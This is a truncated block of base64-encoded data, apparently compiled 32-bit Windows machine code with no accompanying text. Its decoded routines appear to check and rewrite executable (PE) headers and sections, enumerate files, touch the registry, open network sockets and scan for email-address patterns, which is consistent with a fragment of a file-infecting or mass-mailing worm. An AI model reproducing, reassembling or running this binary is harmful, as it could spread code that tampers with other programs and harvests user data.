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 